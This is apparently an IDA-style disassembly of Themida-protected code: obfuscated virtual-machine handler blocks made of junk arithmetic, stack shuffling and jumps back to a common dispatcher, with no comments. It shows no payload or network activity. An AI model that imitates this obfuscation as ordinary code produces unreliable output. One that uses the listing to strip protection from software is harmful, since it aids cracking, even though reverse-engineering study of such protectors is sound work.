; ---------------------------------------------------------------------------
loc_562476: ; CODE XREF: Themida_:00565AF7j
shl ebx, 3
push 96Eh
jmp loc_56047F
; ---------------------------------------------------------------------------
loc_562483: ; CODE XREF: Themida_:00556B15j
pop esi
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], eax
push ecx
push 0EB05382h
pop ecx
xor ecx, 773C6B2Eh
jmp loc_552920
; ---------------------------------------------------------------------------
loc_5624A2: ; CODE XREF: Themida_:00551B09j
push edi
mov di, 57Fh
dec di
neg di
xor di, 0FF4Fh
xor cx, di
pop edi
add dx, 42BDh
add dx, cx
sub dx, 42BDh
mov ecx, [esp]
add esp, 4
shr dx, 4
push ecx
jmp loc_563ABE
; ---------------------------------------------------------------------------
loc_5624D2: ; CODE XREF: Themida_:00550450j
neg edx
xor edx, 2C1097Bh
xor edx, 7D276394h
add edx, 42559544h
sub eax, edx
pop edx
jmp loc_552ABD
; ---------------------------------------------------------------------------
loc_5624EE: ; CODE XREF: Themida_:0055073Ej
sub dword ptr [esp+4], 6B631C51h
mov ebx, [esp]
add esp, 4
mov ebp, [esp]
jmp loc_5570EF
; ---------------------------------------------------------------------------
loc_562507: ; CODE XREF: Themida_:00554FDCj
add ebp, 65A94200h
shl ebp, 5
add ebp, 0C36B55A0h
or ebx, ebp
pop ebp
not ebx
xor ebx, 0DE6204EDh
add eax, ebx
pop ebx
pop edx
push 0B8Dh
jmp loc_554A07
; ---------------------------------------------------------------------------
loc_56252F: ; CODE XREF: Themida_:0055B17Cj
mov eax, 48F42A46h
xor ecx, eax
jmp loc_560A2D
; ---------------------------------------------------------------------------
loc_56253B: ; CODE XREF: Themida_:00553036j
push 204E185Ch
pop ecx
or ecx, 64C872B7h
sub ecx, 16DD001Dh
sub ecx, 4DF17ADEh
mov eax, ecx
pop ecx
add ecx, eax
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5649FD
; ---------------------------------------------------------------------------
loc_56257D: ; CODE XREF: Themida_:0055CB31j
pop esp
movzx ecx, ax
push ecx
push esp
pop ecx
push edi
mov edi, 2E663C60h
shl edi, 3
sub edi, 1
sub esp, 4
mov [esp], ebx
jmp loc_550C26
; ---------------------------------------------------------------------------
loc_56259E: ; CODE XREF: Themida_:005534BDj
add dl, bh
pop ebx
sub dl, ch
sub dl, 12h
jmp loc_553677
; ---------------------------------------------------------------------------
loc_5625AB: ; CODE XREF: Themida_:00553C47j
mov [esp], eax
jmp loc_550F90
; ---------------------------------------------------------------------------
loc_5625B3: ; CODE XREF: Themida_:00560CD8j
pop ebx
jmp loc_553933
; ---------------------------------------------------------------------------
loc_5625B9: ; CODE XREF: Themida_:00564DD4j
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
push ebp
mov ebp, 6151BACh
dec ebp
push esi
push eax
jmp loc_55D31F
; ---------------------------------------------------------------------------
loc_5625D3: ; CODE XREF: Themida_:00557A74j
add esp, 4
jmp loc_55DAB2
; ---------------------------------------------------------------------------
loc_5625DE: ; CODE XREF: Themida_:0055FA78j
sub bl, dl
pop edx
add bl, al
add bl, 65h
jmp loc_55661F
; ---------------------------------------------------------------------------
loc_5625EB: ; CODE XREF: Themida_:00551659j
sub ebx, 44076AADh
add ebx, eax
add ebx, 44076AADh
pop eax
sub ebx, eax
sub ebx, 7EB73787h
sub ebx, 2E776209h
sub ebx, 53262252h
push ecx
push 4EF4h
mov [esp], esi
mov esi, 589120BDh
jmp loc_557527
; ---------------------------------------------------------------------------
loc_562621: ; CODE XREF: Themida_:0055277Fj
mov edx, 4
add edi, edx
mov edx, [esp]
jmp loc_55F792
; ---------------------------------------------------------------------------
loc_562630: ; CODE XREF: Themida_:0055E44Ej
mov edx, 4244DC4h
neg edx
sub edx, 0F865AEEBh
mov ebp, edx
pop edx
and edx, ebp
pop ebp
or edx, 33250BE7h
jmp loc_551E8B
; ---------------------------------------------------------------------------
loc_56264E: ; CODE XREF: Themida_:00554EC8j
shl edx, 2
xor edx, 3D16CE8h
shl edx, 7
inc edx
push edi
mov edi, 51C14211h
add edi, 370A76E2h
or edi, 5C4D4756h
sub edi, 4470194Fh
neg edi
jmp loc_55393C
; ---------------------------------------------------------------------------
loc_56267A: ; CODE XREF: Themida_:00553B05j
mov [esp], eax
push 260Fh
mov [esp], edx
jmp loc_55B638
; ---------------------------------------------------------------------------
loc_56268A: ; CODE XREF: Themida_:00550D7Bj
pop eax
jmp loc_554CA2
; ---------------------------------------------------------------------------
loc_562690: ; CODE XREF: Themida_:00555FCAj
xchg ebp, [esp]
pop esp
shr dword ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56269D: ; CODE XREF: Themida_:0055D844j
sub edx, ecx
sub edx, 3A836982h
push edi
mov edi, 49B9515Fh
sub edx, edi
pop edi
pop ecx
add edx, 5BA439C0h
jmp loc_556131
; ---------------------------------------------------------------------------
loc_5626BA: ; CODE XREF: Themida_:0055F0D3j
mov [esp], ecx
mov ecx, 5D446D66h
add edi, ecx
pop ecx
jmp loc_551F6E
; ---------------------------------------------------------------------------
loc_5626CA: ; CODE XREF: Themida_:0055A50Aj
mov esi, [esp]
add esp, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_555106
; ---------------------------------------------------------------------------
loc_5626E1: ; CODE XREF: Themida_:00550F10j
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], esp
push ecx
push ebp
push 2746298h
pop ebp
and ebp, 16AE7E1Ah
xor ebp, 224621Ch
mov ecx, ebp
pop ebp
add [esp+4], ecx
pop ecx
jmp loc_552CA8
; ---------------------------------------------------------------------------
loc_56270C: ; CODE XREF: Themida_:00558AA4j
xchg ecx, [esp]
pop esp
jmp loc_559E5F
; ---------------------------------------------------------------------------
loc_562715: ; CODE XREF: Themida_:0055DBADj
sub esp, 4
jmp loc_55635A
; ---------------------------------------------------------------------------
loc_562720: ; CODE XREF: Themida_:0055A72Dj
add ebp, 78465Eh
sub ebp, 2789041Dh
push 7112h
mov [esp], esi
mov esi, 36207D6Bh
shr esi, 2
inc esi
push ebx
mov ebx, 77627FB6h
jmp loc_55167D
; ---------------------------------------------------------------------------
loc_562748: ; CODE XREF: Themida_:00561B31j
xor [esp+4], edi
pop edi
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_554617
; ---------------------------------------------------------------------------
loc_56275E: ; CODE XREF: Themida_:0055754Fj
xor dl, 40h
jmp loc_56082A
; ---------------------------------------------------------------------------
loc_562766: ; CODE XREF: Themida_:0055687Aj
add eax, 2DC75421h
jmp loc_5549C7
; ---------------------------------------------------------------------------
loc_562770: ; CODE XREF: Themida_:00555801j
sub edx, 7C051BC1h
jmp loc_55D4EE
; ---------------------------------------------------------------------------
loc_56277B: ; CODE XREF: Themida_:00551100j
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55F7AA
; ---------------------------------------------------------------------------
loc_56278C: ; CODE XREF: Themida_:005560EDj
push eax
mov al, bh
mov ch, al
pop eax
push ebx
mov bl, ch
mov dl, bl
pop ebx
mov ecx, [esp]
add esp, 4
jmp loc_55EFF9
; ---------------------------------------------------------------------------
loc_5627A3: ; CODE XREF: Themida_:00553CDCj
shr ebx, 5
push 61A5h
mov [esp], ebp
mov ebp, 73EE2962h
shl ebp, 3
not ebp
neg ebp
push eax
mov eax, 104A2E22h
add ebp, eax
pop eax
add ebp, 5F119F8Dh
jmp loc_563DDA
; ---------------------------------------------------------------------------
loc_5627CE: ; CODE XREF: Themida_:005646CFj
xchg edx, [esp]
pop esp
xor ebx, eax
push 390Ah
mov [esp], eax
push dword ptr [esp]
mov edx, [esp]
jmp loc_55488C
; ---------------------------------------------------------------------------
loc_5627E7: ; CODE XREF: Themida_:005562C6j
shr ebx, 5
push edx
mov edx, 56991150h
dec edx
dec edx
push ebx
jmp loc_553E27
; ---------------------------------------------------------------------------
loc_5627F8: ; CODE XREF: Themida_:0055F63Bj
push 4A7D2E6Fh
pop edi
jmp loc_552355
; ---------------------------------------------------------------------------
loc_562803: ; CODE XREF: Themida_:00558878j
neg dl
jmp loc_558D15
; ---------------------------------------------------------------------------
loc_56280A: ; CODE XREF: Themida_:00554D21j
xor eax, edx
xor edx, eax
xor eax, edx
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 1
jmp loc_55B5B2
; ---------------------------------------------------------------------------
loc_562824: ; CODE XREF: Themida_:00550E91j
pop eax
push edi
mov edi, 4
add eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55D285
; ---------------------------------------------------------------------------
lodsb
sub al, 8Fh
push edx
push 0D10h
mov [esp], ebx
jmp loc_560A83
; ---------------------------------------------------------------------------
loc_56284D: ; CODE XREF: Themida_:00551D90j
add esp, 4
push edx
mov edx, 2
add ebp, edx
pop edx
xchg ebp, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_562868: ; CODE XREF: Themida_:0055D051j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56286D: ; CODE XREF: Themida_:00556D58j
push edx
jmp loc_558487
; ---------------------------------------------------------------------------
loc_562873: ; CODE XREF: Themida_:00560060j
push edx
jmp loc_553832
; ---------------------------------------------------------------------------
loc_562879: ; CODE XREF: Themida_:0056566Aj
pop edx
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
loc_562882: ; CODE XREF: Themida_:0055820Fj
pop ecx
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop edx
push 78C9h
mov [esp], eax
push edi
mov edi, 7E21219Ah
jmp loc_55D1F4
; ---------------------------------------------------------------------------
loc_5628AB: ; CODE XREF: Themida_:005504C3j
mov ecx, [esp]
add esp, 4
push eax
mov eax, 62945E28h
and ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_564756
; ---------------------------------------------------------------------------
mov ax, [esp]
push 331h
mov [esp], ebp
push 3967h
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_562E37
; ---------------------------------------------------------------------------
loc_562905: ; CODE XREF: Themida_:005621F0j
sub esi, 4
push 360Fh
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
jmp loc_5506B4
; ---------------------------------------------------------------------------
loc_562920: ; CODE XREF: Themida_:00562F21j
pop ecx
pop edx
add ecx, 0FFFFFFFFh
jmp loc_55DB41
; ---------------------------------------------------------------------------
loc_56292A: ; CODE XREF: Themida_:0055AE92j
pop ebx
jmp loc_563D3E
; ---------------------------------------------------------------------------
loc_562930: ; CODE XREF: Themida_:00558F8Bj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_562935: ; CODE XREF: Themida_:0055129Dj
push dword ptr [esp]
jmp loc_557ED3
; ---------------------------------------------------------------------------
loc_56293D: ; CODE XREF: Themida_:00565240j
sub esp, 4
mov [esp], edi
jmp loc_55378B
; ---------------------------------------------------------------------------
loc_562948: ; CODE XREF: Themida_:0055700Bj
pop esp
jmp loc_55AF11
; ---------------------------------------------------------------------------
loc_56294E: ; CODE XREF: Themida_:0055338Cj
mov [esp], eax
mov eax, 0A67217Ah
add eax, 1
shl eax, 5
sub eax, 341537CEh
shr eax, 5
push ecx
push 66AE014Ah
jmp loc_555650
; ---------------------------------------------------------------------------
loc_562971: ; CODE XREF: Themida_:00555857j
push edi
mov edi, 5AE64CABh
push ebx
mov ebx, 0A8340E0h
push ebp
mov ebp, 50650C47h
xor ebx, ebp
pop ebp
sub edi, ebx
pop ebx
add ebp, edi
pop edi
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5535E4
; ---------------------------------------------------------------------------
loc_5629A3: ; CODE XREF: Themida_:0055D8D7j
add ebp, 0BDCED597h
jmp loc_55744B
; ---------------------------------------------------------------------------
loc_5629AE: ; CODE XREF: Themida_:0055A9BEj
mov esi, 2
add edi, esi
mov esi, [esp]
add esp, 4
jmp loc_5596D0
; ---------------------------------------------------------------------------
loc_5629C3: ; CODE XREF: Themida_:00561C76j
sub ebx, 342C0A37h
sub ebx, edi
push eax
mov eax, 624A4752h
dec eax
jmp loc_565B59
; ---------------------------------------------------------------------------
loc_5629D7: ; CODE XREF: Themida_:0055B448j
pop edx
mov edi, esi
pop esi
add ebx, edi
pop edi
xchg ebx, [esp]
pop esp
push 4A5Ah
mov [esp], esi
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
sub ecx, esi
pop esi
xchg ecx, [esp]
jmp loc_553300
; ---------------------------------------------------------------------------
loc_562A04: ; CODE XREF: Themida_:0055F42Ej
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
add eax, 4
xor eax, [esp]
jmp loc_55F7F7
; ---------------------------------------------------------------------------
loc_562A36: ; CODE XREF: Themida_:005615E6j
pop esp
push ecx
jmp loc_552BEA
; ---------------------------------------------------------------------------
loc_562A3D: ; CODE XREF: Themida_:00550C65j
sub esp, 4
mov [esp], edx
jmp loc_5526D2
; ---------------------------------------------------------------------------
loc_562A4B: ; CODE XREF: Themida_:00564EFEj
xchg eax, [esp]
jmp loc_55A43B
; ---------------------------------------------------------------------------
loc_562A53: ; CODE XREF: Themida_:00551B24j
and eax, esi
pop esi
add eax, 0CD27874Bh
xor ebp, eax
jmp loc_559206
; ---------------------------------------------------------------------------
loc_562A62: ; CODE XREF: Themida_:00553189j
mov edi, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_554A65
; ---------------------------------------------------------------------------
loc_562A70: ; CODE XREF: Themida_:00555254j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_563219
; ---------------------------------------------------------------------------
loc_562A86: ; CODE XREF: Themida_:0055BB5Dj
pop esp
sub al, bl
push dword ptr [esp]
pop ebx
jmp loc_564274
; ---------------------------------------------------------------------------
loc_562A92: ; CODE XREF: Themida_:00554A95j
sub ebx, ecx
add ebx, 77B94138h
mov ecx, [esp]
add esp, 4
pop dword ptr [eax]
jmp loc_5636DB
; ---------------------------------------------------------------------------
loc_562AA7: ; CODE XREF: Themida_:00558D2Aj
xor ebp, 281D3A16h
sub esp, 4
mov [esp], edi
jmp loc_561067
; ---------------------------------------------------------------------------
loc_562AB8: ; CODE XREF: Themida_:00550FC2j
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
add eax, 4
jmp loc_55D519
; ---------------------------------------------------------------------------
loc_562ACC: ; CODE XREF: Themida_:00550A32j
sub ebx, 1D304ED4h
add ebx, esi
add ebx, 1D304ED4h
mov esi, [esp]
add esp, 4
push ebp
jmp loc_558945
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55DD72
; ---------------------------------------------------------------------------
loc_562AF4: ; CODE XREF: Themida_:005633C1j
pop edx
xchg esi, [esp]
pop esp
shr ecx, 7
push 7BEDh
mov [esp], ebx
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
jmp loc_55BC7B
; ---------------------------------------------------------------------------
loc_562B18: ; CODE XREF: Themida_:0055443Cj
sub al, dl
add al, 0EDh
pop edx
add al, 0D6h
add al, 1Bh
sub al, 7Dh
jmp loc_5569A3
; ---------------------------------------------------------------------------
loc_562B28: ; CODE XREF: Themida_:00561D2Fj
pop ecx
jmp loc_559B6D
; ---------------------------------------------------------------------------
loc_562B2E: ; CODE XREF: Themida_:005610E8j
pop ecx
jmp loc_55A6F1
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_562B3D: ; CODE XREF: Themida_:0055B7F6j
push 187Fh
jmp loc_555EDE
; ---------------------------------------------------------------------------
loc_562B47: ; CODE XREF: Themida_:00555EF7j
pop edx
push esi
mov esi, esp
jmp loc_5558E5
; ---------------------------------------------------------------------------
loc_562B50: ; CODE XREF: Themida_:0055AF0Cj
add edi, 559ED6C4h
add edx, edi
pop edi
jmp loc_55DC74
; ---------------------------------------------------------------------------
loc_562B5E: ; CODE XREF: Themida_:0055CAD1j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push esp
push dword ptr [esp]
jmp loc_562E28
; ---------------------------------------------------------------------------
loc_562B70: ; CODE XREF: Themida_:0055D93Ej
shr edx, 4
push ecx
jmp loc_551334
; ---------------------------------------------------------------------------
loc_562B79: ; CODE XREF: Themida_:00562D01j
pop dx
jmp loc_5584C3
; ---------------------------------------------------------------------------
loc_562B80: ; CODE XREF: Themida_:0055CD4Ej
push eax
jmp loc_557E7F
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push esp
mov eax, [esp]
jmp loc_553D7A
; ---------------------------------------------------------------------------
loc_562B94: ; CODE XREF: Themida_:005587BFj
pop ebx
add esi, eax
pop eax
jmp loc_55E9C4
; ---------------------------------------------------------------------------
loc_562B9D: ; CODE XREF: Themida_:00563830j
push ebp
mov ebp, 1AA7F17h
shl ebp, 6
add ebp, 0FFFFFFFFh
neg ebp
jmp loc_564DD9
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_5534C2
; ---------------------------------------------------------------------------
loc_562BBB: ; CODE XREF: Themida_:005517FDj
pop ebx
mov ecx, [esp]
jmp loc_55593A
; ---------------------------------------------------------------------------
loc_562BC4: ; CODE XREF: Themida_:00551609j
sub ebx, edi
pop edi
jmp loc_55CBE8
; ---------------------------------------------------------------------------
loc_562BCC: ; CODE XREF: Themida_:0055B633j
mov ah, bh
mov dl, ah
pop eax
pop ebx
sub dl, 0F8h
dec dl
push 0
sub byte ptr [esp], 0BDh
jmp loc_556696
; ---------------------------------------------------------------------------
loc_562BE5: ; CODE XREF: Themida_:0055CBD4j
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55B8AE
; ---------------------------------------------------------------------------
loc_562BFC: ; CODE XREF: Themida_:00560DB6j
xor eax, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_562C0A: ; CODE XREF: Themida_:00558B27j
pop ecx
jmp loc_55877F
; ---------------------------------------------------------------------------
loc_562C10: ; CODE XREF: Themida_:005577CCj
push ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 4
push esi
mov esi, 4
jmp loc_559C6A
; ---------------------------------------------------------------------------
loc_562C2A: ; CODE XREF: Themida_:0055170Fj
inc edx
and edx, 129A3C25h
xchg ebx, edx
inc ebx
jmp loc_5529F0
; ---------------------------------------------------------------------------
loc_562C39: ; CODE XREF: Themida_:00554EFAj
or esi, 160552E8h
xor esi, 423B4F13h
mov edx, esi
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub edx, 5A61141Dh
add edx, 1C3CDB21h
push edx
jmp loc_5565A4
; ---------------------------------------------------------------------------
loc_562C6F: ; CODE XREF: Themida_:0055EDC5j
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push ebx
push eax
jmp loc_559CF4
; ---------------------------------------------------------------------------
loc_562C8D: ; CODE XREF: Themida_:005577BBj
pop esp
mov [esp], ebx
push 3F85h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_555D5E
; ---------------------------------------------------------------------------
loc_562CB1: ; CODE XREF: Themida_:0055CA59j
mov ecx, [esp]
jmp loc_5555C6
; ---------------------------------------------------------------------------
loc_562CB9: ; CODE XREF: Themida_:005619BFj
push ebp
mov ebp, 4
jmp loc_55D9C0
; ---------------------------------------------------------------------------
loc_562CC4: ; CODE XREF: Themida_:00553983j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
sub esp, 4
mov [esp], eax
push edx
mov edx, 5FF45C55h
jmp loc_55C0B0
; ---------------------------------------------------------------------------
loc_562CF0: ; CODE XREF: Themida_:0055782Ej
add eax, 0BC794415h
mov edx, eax
pop eax
jmp loc_55247B
; ---------------------------------------------------------------------------
loc_562CFD: ; CODE XREF: Themida_:0056363Bj
mov dl, 0FFh
add bl, dl
jmp loc_562B79
; ---------------------------------------------------------------------------
loc_562D06: ; CODE XREF: Themida_:0055C8CAj
pop esp
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_561812
; ---------------------------------------------------------------------------
loc_562D1B: ; CODE XREF: Themida_:0055A699j
mov esi, [esp]
add esp, 4
sub eax, 27BD05BCh
add eax, ebp
add eax, 27BD05BCh
mov ebp, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push edx
push ecx
push edx
push 20010C82h
mov edx, [esp]
add esp, 4
jmp loc_55E631
; ---------------------------------------------------------------------------
loc_562D5B: ; CODE XREF: Themida_:00562295j
pop ebp
push esi
mov esi, 40A36C3Fh
or esi, 519B52B2h
jmp loc_560FC6
; ---------------------------------------------------------------------------
loc_562D6D: ; CODE XREF: Themida_:0055EBA9j
and bh, 57h
dec bh
sub bh, 0E9h
add cl, 16h
sub cl, bh
sub cl, 16h
pop ebx
sub cl, 0FFh
xor cl, 18h
xor cl, 3Eh
jmp loc_55BF0C
; ---------------------------------------------------------------------------
loc_562D8C: ; CODE XREF: Themida_:0055FEB0j
mov bl, al
sub esp, 4
mov [esp], eax
push edx
mov dl, bl
mov al, dl
pop edx
jmp loc_56419E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_562DB1: ; CODE XREF: Themida_:00558FB7j
pop ebx
add esp, 4
push edi
jmp loc_5591DF
; ---------------------------------------------------------------------------
loc_562DBE: ; CODE XREF: Themida_:0056486Cj
shr ecx, 5
jmp loc_55B7A0
; ---------------------------------------------------------------------------
loc_562DC6: ; CODE XREF: Themida_:0055C0ABj
mov edi, 7BBC2991h
jmp loc_555DC9
; ---------------------------------------------------------------------------
loc_562DD0: ; CODE XREF: Themida_:005509C0j
push ebp
mov ebp, esp
jmp loc_55DCB5
; ---------------------------------------------------------------------------
loc_562DD8: ; CODE XREF: Themida_:0055F98Dj
mov ecx, [esp]
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_552363
; ---------------------------------------------------------------------------
loc_562DF5: ; CODE XREF: Themida_:0055B4DEj
neg al
and al, 6Ah
or al, 8Ch
shl al, 3
jmp loc_55D82C
; ---------------------------------------------------------------------------
loc_562E03: ; CODE XREF: Themida_:005573F5j
add edi, 6FA0563Ah
pop ecx
add edi, 4
xchg edi, [esp]
pop esp
and eax, edi
mov edi, [esp]
jmp loc_557A01
; ---------------------------------------------------------------------------
loc_562E1E: ; CODE XREF: Themida_:0055F049j
push 0ADCh
jmp loc_5655EB
; ---------------------------------------------------------------------------
loc_562E28: ; CODE XREF: Themida_:00562B6Bj
pop edx
add esp, 4
add edx, 4
jmp loc_560213
; ---------------------------------------------------------------------------
loc_562E37: ; CODE XREF: Themida_:00562900j
pop esp
mov [esp], ebp
mov ebp, 4
push edi
mov edi, 4A4D7238h
sub [esp+8], edi
pop edi
add [esp+4], ebp
add dword ptr [esp+4], 4A4D7238h
pop ebp
pop dword ptr [esp]
push ebp
mov ebp, 4
add dword ptr [esp+4], 3CE93EEDh
add [esp+4], ebp
sub dword ptr [esp+4], 3CE93EEDh
pop ebp
jmp loc_555F66
; ---------------------------------------------------------------------------
loc_562E7B: ; CODE XREF: Themida_:00557483j
mov esp, [esp]
mov [esp], esi
push eax
mov eax, 15FE0301h
sub [esp+4], eax
jmp loc_55EA3D
; ---------------------------------------------------------------------------
loc_562E90: ; CODE XREF: Themida_:005602CDj
mov eax, esp
add eax, 4
jmp loc_55172A
; ---------------------------------------------------------------------------
loc_562E9C: ; CODE XREF: Themida_:00565ACAj
mov eax, [esp]
jmp loc_555E40
; ---------------------------------------------------------------------------
loc_562EA4: ; CODE XREF: Themida_:00563DB5j
xor esi, 10217B54h
sub eax, esi
pop esi
jmp loc_5553C6
; ---------------------------------------------------------------------------
loc_562EB2: ; CODE XREF: Themida_:00554F94j
mov ecx, [esp]
jmp loc_564AA2
; ---------------------------------------------------------------------------
loc_562EBA: ; CODE XREF: Themida_:00565593j
mov edx, [esp]
jmp loc_55D022
; ---------------------------------------------------------------------------
loc_562EC2: ; CODE XREF: Themida_:00553ED9j
pop esi
mov eax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_5612D4
; ---------------------------------------------------------------------------
loc_562EE1: ; CODE XREF: Themida_:005535C7j
mov ebp, 3B9654CFh
jmp loc_550F50
; ---------------------------------------------------------------------------
loc_562EEB: ; CODE XREF: Themida_:00557AE2j
or edx, 66653FBh
sub edx, 20F968CCh
mov ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
shl ecx, 8
jmp loc_550A37
; ---------------------------------------------------------------------------
loc_562F08: ; CODE XREF: Themida_:005653F1j
sub esi, ebx
pop ebx
and esi, 25D136E9h
shl esi, 5
jmp loc_554EF8
; ---------------------------------------------------------------------------
loc_562F19: ; CODE XREF: Themida_:00557895j
push 3CD5h
mov [esp], edx
jmp loc_562920
; ---------------------------------------------------------------------------
loc_562F26: ; CODE XREF: Themida_:005587EAj
sub ecx, eax
pop eax
sub eax, 19B86457h
add eax, ecx
jmp loc_556390
; ---------------------------------------------------------------------------
loc_562F35: ; CODE XREF: Themida_:00554E6Bj
pop edx
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_555A61
; ---------------------------------------------------------------------------
loc_562F57: ; CODE XREF: Themida_:0055126Ej
pop edx
not ebx
shr ebx, 5
sub ebx, 12A6B7Bh
dec ebx
sub ebx, 43216FEh
add edi, ebx
jmp loc_563FFD
; ---------------------------------------------------------------------------
loc_562F71: ; CODE XREF: Themida_:00550668j
sub edi, 0BB0FE76Ch
xor edx, edi
pop edi
add esi, 3E0C312Fh
jmp loc_55F198
; ---------------------------------------------------------------------------
loc_562F85: ; CODE XREF: Themida_:0055D7BEj
push 6CE1h
mov [esp], ecx
push 916h
mov [esp], ebx
jmp loc_55E453
; ---------------------------------------------------------------------------
loc_562F9A: ; CODE XREF: Themida_:005508B5j
pop ecx
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55E9D5
; ---------------------------------------------------------------------------
loc_562FB2: ; CODE XREF: Themida_:00550922j
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
jmp loc_5616EB
; ---------------------------------------------------------------------------
loc_562FCC: ; CODE XREF: Themida_:00554A89j
add ebx, 4
push edi
mov edi, 6DA43D8Eh
add edi, 925BC276h
sub ebx, edi
pop edi
xchg ebx, [esp]
pop esp
mov [esp], ebx
jmp loc_560E70
; ---------------------------------------------------------------------------
loc_562FED: ; CODE XREF: Themida_:0056124Bj
not dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_5576C6
; ---------------------------------------------------------------------------
loc_562FFB: ; CODE XREF: Themida_:00561A70j
pop ecx
xor ebp, [esp]
jmp loc_563074
; ---------------------------------------------------------------------------
loc_563004: ; CODE XREF: Themida_:00561AF1j
pop edx
sub ecx, 6E297584h
push 6F7Bh
jmp loc_55B179
; ---------------------------------------------------------------------------
loc_563015: ; CODE XREF: Themida_:005640FBj
add esi, 89D7EC7Ah
mov eax, esi
pop esi
or [edi+1Ch], eax
push dword ptr [esp]
pop eax
jmp loc_55B61A
; ---------------------------------------------------------------------------
loc_56302A: ; CODE XREF: Themida_:00563152j
and edi, ebp
pop ebp
dec edi
not edi
and edi, 2DFD18F1h
jmp loc_562371
; ---------------------------------------------------------------------------
loc_56303B: ; CODE XREF: Themida_:00558A1Dj
inc ebx
add ebx, 36D59128h
xor ebp, ebx
pop ebx
push edx
jmp loc_55AC9A
; ---------------------------------------------------------------------------
loc_56304B: ; CODE XREF: Themida_:0055680Aj
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_563056: ; CODE XREF: Themida_:0055BEECj
add ecx, 4
jmp loc_55ECE6
; ---------------------------------------------------------------------------
loc_563061: ; CODE XREF: Themida_:0055D230j
sub al, 0ADh
jmp loc_552E41
; ---------------------------------------------------------------------------
loc_563068: ; CODE XREF: Themida_:00558B36j
xchg ebp, [esp]
pop esp
push small word ptr [eax]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_563074: ; CODE XREF: Themida_:00562FFFj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_563089: ; CODE XREF: Themida_:0055C44Ej
push edx
mov edx, 29116880h
xor edx, 1F714038h
jmp loc_55E12A
; ---------------------------------------------------------------------------
loc_56309A: ; CODE XREF: Themida_:005513CAj
push ebx
mov bl, 0EDh
or bl, 40h
and bl, 22h
shl bl, 8
xor bl, 6Ch
jmp loc_559793
; ---------------------------------------------------------------------------
loc_5630AE: ; CODE XREF: Themida_:0055D97Aj
pop ebx
add ebx, 1
